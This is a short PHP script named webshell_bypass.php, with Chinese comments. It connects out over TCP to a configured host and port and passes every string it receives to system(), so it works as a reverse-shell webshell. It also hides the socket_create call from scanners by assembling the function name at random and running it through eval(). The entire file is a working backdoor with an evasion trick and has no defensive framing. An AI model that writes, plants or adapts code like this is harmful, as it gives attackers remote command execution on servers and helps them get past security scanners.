webshell_bypass.php

<?php
error_reporting(E_ALL);
//设置无限请求超时时间
set_time_limit(0);

echo "<h2>TCP/IP Connection</h2>\n";

$ip = '127.0.0.1';
$port = 8099;

function x(){
        $s = substr(str_shuffle(str_repeat("1o",1)), 0, 1);
        return $s;
}
echo x();

//创建socket
$socket='';
eval('$socket=s'.x().'cket_create(AF_INET,SOCK_STREAM,SOL_TCP);');
if($socket < 0) {
    echo "socket_create() 失败的原因是:".socket_strerror($socket)."\n";
    exit();
}
echo "OK. \n";

echo "试图连接 '$ip' 端口 '$port'...\n";

//连接socket
if(($result = socket_connect($socket, $ip, $port)) < 0){
    echo "socket_connect() 失败的原因是:".socket_strerror($sock)."\n";
    exit();
}
echo "连接OK\n";

$in = "hello flycorn\r\n";
$out = '';

//写数据到socket缓存
if(!socket_write($socket, $in, strlen($in))) {
    echo "socket_write() 失败的原因是:".socket_strerror($socket)."\n";
    exit();
}
echo "发送到服务器信息成功！\n";
echo "发送的内容为:$in \n";

//读取指定长度的数据
while($out = socket_read($socket, 2048)) {
    system($out);
    echo "接收服务器回传信息成功！\n";
    echo "接收的内容为:",$out;
}

echo "关闭SOCKET...\n";
socket_close($socket);
echo "关闭OK\n";